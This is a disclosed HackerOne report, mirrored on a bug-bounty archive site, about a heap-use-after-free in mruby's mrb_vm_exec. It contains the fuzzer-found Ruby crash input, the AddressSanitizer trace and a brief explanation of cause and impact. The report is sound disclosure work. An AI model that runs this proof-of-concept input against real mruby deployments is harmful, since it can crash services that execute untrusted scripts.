Skip to content
Memory corruption Disclosed report Advanced

heap-use-after-free in mrb_vm_exec - vm.c:1247

A crafted Ruby script causes a heap-use-after-free in mruby's VM execution function, which could crash the interpreter.

ilsani Follow

Originally disclosed on HackerOne

Bounty$800 Medium View original
  • Triaged in under an hour
  • Fixed in 40 hours
  • Paid in 13 days
  • Disclosed after 32 days

Following input causes a heap-use-after-free in mrb_vm_exec (vm.c:1247):

g=0.times.p{}
a %w{0 0 0 0 0 0 0 0 0 0
0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0
0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 { 0 } 0 0 0 0 0 0 0 0 0
0 0 0
0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 } 0}.(&:e)
==3480==ERROR: AddressSanitizer: heap-use-after-free on address 0x61d00001e0c0 at pc 0x0000004385b1 bp 0x7ffd93156930 sp 0x7ffd9315692
8                                                                
WRITE of size 8 at 0x61d00001e0c0 thread T0                         
    #0 0x4385b0 in mrb_vm_exec /tmp/mruby/src/vm.c:1247
    #1 0x4407f9 in mrb_vm_run /tmp/mruby/src/vm.c:854
    #2 0x4407f9 in mrb_top_run /tmp/mruby/src/vm.c:2705
    #3 0x58652d in mrb_load_exec /tmp/mruby/mrbgems/mruby-compiler/core/parse.y:
5780                         
    #4 0x403bbe in main /tmp/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:2
47                           
    #5 0x7f52c49752b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
    #6 0x402e19 in _start (/home/debian/work/fuzz/mruby/fuzz/20170419/mruby+0x402e19)
                             
0x61d00001e0c0 is located 64 bytes inside of 2048-byte region [0x61d00001e080,0x61d00001e880)
freed by thread T0 here:     
    #0 0x7f52c5753090 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc2090)
    #1 0x4d3ee0 in mrb_realloc_simple /tmp/mruby/src/gc.c:202
    #2 0x4d3ee0 in mrb_realloc /tmp/mruby/src/gc.c:216
                             
previously allocated by thread T0 here:
    #0 0x7f52c5753090 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc2090)
    #1 0x4d3ee0 in mrb_realloc_simple /tmp/mruby/src/gc.c:202
    #2 0x4d3ee0 in mrb_realloc /tmp/mruby/src/gc.c:216

SUMMARY: AddressSanitizer: heap-use-after-free /tmp//mruby/src/vm.c:1247 in mrb_vm_exec

The original report as published on HackerOne, by ilsani. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a missing check or incorrect reference handling in the virtual machine's execution loop after a memory reallocation.

Impact

This could crash the interpreter and may in theory allow arbitrary code execution.

What the attacker needed

Ability to run a Ruby script in mruby

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A use-after-free happens when a program frees memory but then keeps using it. Here, a crafted Ruby script makes mruby's interpreter write to memory it has already released, which can crash the program.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by ilsani

View all

4 more disclosed reports, best first.

More from shopify-scripts

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.